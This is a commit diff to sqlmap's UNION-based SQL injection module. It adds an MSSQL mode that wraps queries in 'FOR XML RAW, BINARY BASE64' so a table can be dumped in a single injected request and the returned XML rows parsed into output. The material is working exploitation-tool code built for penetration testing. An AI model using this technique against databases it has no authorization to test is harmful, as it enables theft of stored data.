55See the file 'doc/COPYING' for copying permission
66"""
77
8+ import binascii
89import re
910import time
11+ import xml .etree .ElementTree
1012
1113from extra .safe2bin .safe2bin import safecharencode
1214from lib .core .agent import agent
4648from lib .core .exception import SqlmapDataException
4749from lib .core .exception import SqlmapSyntaxException
4850from lib .core .settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
51+ from lib .core .settings import NULL
4952from lib .core .settings import SQL_SCALAR_REGEX
5053from lib .core .settings import TURN_OFF_RESUME_INFO_LIMIT
5154from lib .core .threads import getCurrentThreadData
@@ -62,38 +65,66 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
6265 threadData .resumed = retVal is not None
6366
6467 if retVal is None :
65- # Prepare expression with delimiters
66- injExpression = unescaper .escape (agent .concatQuery (expression , unpack ))
67-
68- # Forge the UNION SQL injection request
6968 vector = kb .injection .data [PAYLOAD .TECHNIQUE .UNION ].vector
70- kb .unionDuplicates = vector [7 ]
71- kb .forcePartialUnion = vector [8 ]
72- query = agent .forgeUnionQuery (injExpression , vector [0 ], vector [1 ], vector [2 ], vector [3 ], vector [4 ], vector [5 ], vector [6 ], None , limited )
73- where = PAYLOAD .WHERE .NEGATIVE if conf .limitStart or conf .limitStop else vector [6 ]
69+
70+ if not kb .rowXmlMode :
71+ injExpression = unescaper .escape (agent .concatQuery (expression , unpack ))
72+ kb .unionDuplicates = vector [7 ]
73+ kb .forcePartialUnion = vector [8 ]
74+ query = agent .forgeUnionQuery (injExpression , vector [0 ], vector [1 ], vector [2 ], vector [3 ], vector [4 ], vector [5 ], vector [6 ], None , limited )
75+ where = PAYLOAD .WHERE .NEGATIVE if conf .limitStart or conf .limitStop else vector [6 ]
76+ else :
77+ where = vector [6 ]
78+ query = agent .forgeUnionQuery (expression , vector [0 ], vector [1 ], vector [2 ], vector [3 ], vector [4 ], vector [5 ], vector [6 ], None , False )
79+
7480 payload = agent .payload (newValue = query , where = where )
7581
7682 # Perform the request
7783 page , headers = Request .queryPage (payload , content = True , raise404 = False )
7884
7985 incrementCounter (PAYLOAD .TECHNIQUE .UNION )
8086
81- # Parse the returned page to get the exact UNION-based
82- # SQL injection output
83- def _ (regex ):
84- return reduce (lambda x , y : x if x is not None else y , (\
85- extractRegexResult (regex , removeReflectiveValues (page , payload ), re .DOTALL | re .IGNORECASE ), \
86- extractRegexResult (regex , removeReflectiveValues (listToStrValue (headers .headers \
87- if headers else None ), payload , True ), re .DOTALL | re .IGNORECASE )), \
88- None )
87+ if not kb .rowXmlMode :
88+ # Parse the returned page to get the exact UNION-based
89+ # SQL injection output
90+ def _ (regex ):
91+ return reduce (lambda x , y : x if x is not None else y , (\
92+ extractRegexResult (regex , removeReflectiveValues (page , payload ), re .DOTALL | re .IGNORECASE ), \
93+ extractRegexResult (regex , removeReflectiveValues (listToStrValue (headers .headers \
94+ if headers else None ), payload , True ), re .DOTALL | re .IGNORECASE )), \
95+ None )
96+
97+ # Automatically patching last char trimming cases
98+ if kb .chars .stop not in (page or "" ) and kb .chars .stop [:- 1 ] in (page or "" ):
99+ warnMsg = "automatically patching output having last char trimmed"
100+ singleTimeWarnMessage (warnMsg )
101+ page = page .replace (kb .chars .stop [:- 1 ], kb .chars .stop )
102+
103+ retVal = _ ("(?P<result>%s.*%s)" % (kb .chars .start , kb .chars .stop ))
104+ else :
105+ output = extractRegexResult (r"(?P<result>(<row[^>]+>)+)" , page )
106+ if output :
107+ retVal = ""
108+ root = xml .etree .ElementTree .fromstring ("<root>%s</root>" % output )
109+ for column in kb .dumpColumns :
110+ base64 = True
111+ for child in root :
112+ child .attrib [column ] = child .attrib .get (column , "" ).encode ("base64" )
113+ try :
114+ child .attrib .get (column , "" ).decode ("base64" )
115+ except binascii .Error :
116+ base64 = False
117+ break
89118
90- # Automatically patching last char trimming cases
91- if kb .chars .stop not in (page or "" ) and kb .chars .stop [:- 1 ] in (page or "" ):
92- warnMsg = "automatically patching output having last char trimmed"
93- singleTimeWarnMessage (warnMsg )
94- page = page .replace (kb .chars .stop [:- 1 ], kb .chars .stop )
119+ if base64 :
120+ for child in root :
121+ child .attrib [column ] = child .attrib .get (column , "" ).decode ("base64" ) or NULL
95122
96- retVal = _ ("(?P<result>%s.*%s)" % (kb .chars .start , kb .chars .stop ))
123+ for child in root :
124+ row = []
125+ for column in kb .dumpColumns :
126+ row .append (child .attrib .get (column , NULL ))
127+ retVal += "%s%s%s" % (kb .chars .start , kb .chars .delimiter .join (row ), kb .chars .stop )
97128
98129 if retVal is not None :
99130 retVal = getUnicode (retVal , kb .pageEncoding )
@@ -103,7 +134,8 @@ def _(regex):
103134 retVal = htmlunescape (retVal ).replace ("<br>" , "\n " )
104135
105136 hashDBWrite ("%s%s" % (conf .hexConvert or False , expression ), retVal )
106- else :
137+
138+ elif not kb .rowXmlMode :
107139 trimmed = _ ("%s(?P<result>.*?)<" % (kb .chars .start ))
108140
109141 if trimmed :
@@ -174,6 +206,13 @@ def unionUse(expression, unpack=True, dump=False):
174206 # Set kb.partRun in case the engine is called from the API
175207 kb .partRun = getPartRun (alias = False ) if hasattr (conf , "api" ) else None
176208
209+ if Backend .isDbms (DBMS .MSSQL ) and kb .dumpColumns :
210+ kb .rowXmlMode = True
211+ _ = "(%s FOR XML RAW, BINARY BASE64)" % expression
212+ output = _oneShotUnionUse (_ , False )
213+ value = parseUnionPage (output )
214+ kb .rowXmlMode = False
215+
177216 if expressionFieldsList and len (expressionFieldsList ) > 1 and "ORDER BY" in expression .upper ():
178217 # Removed ORDER BY clause because UNION does not play well with it
179218 expression = re .sub ("\s*ORDER BY\s+[\w,]+" , "" , expression , re .I )
@@ -186,7 +225,7 @@ def unionUse(expression, unpack=True, dump=False):
186225 # SQL limiting the query output one entry at a time
187226 # NOTE: we assume that only queries that get data from a table can
188227 # return multiple entries
189- if (kb .injection .data [PAYLOAD .TECHNIQUE .UNION ].where == PAYLOAD .WHERE .NEGATIVE or \
228+ if value is None and (kb .injection .data [PAYLOAD .TECHNIQUE .UNION ].where == PAYLOAD .WHERE .NEGATIVE or \
190229 kb .forcePartialUnion or \
191230 (dump and (conf .limitStart or conf .limitStop )) or "LIMIT " in expression .upper ()) and \
192231 " FROM " in expression .upper () and ((Backend .getIdentifiedDbms () \
0 commit comments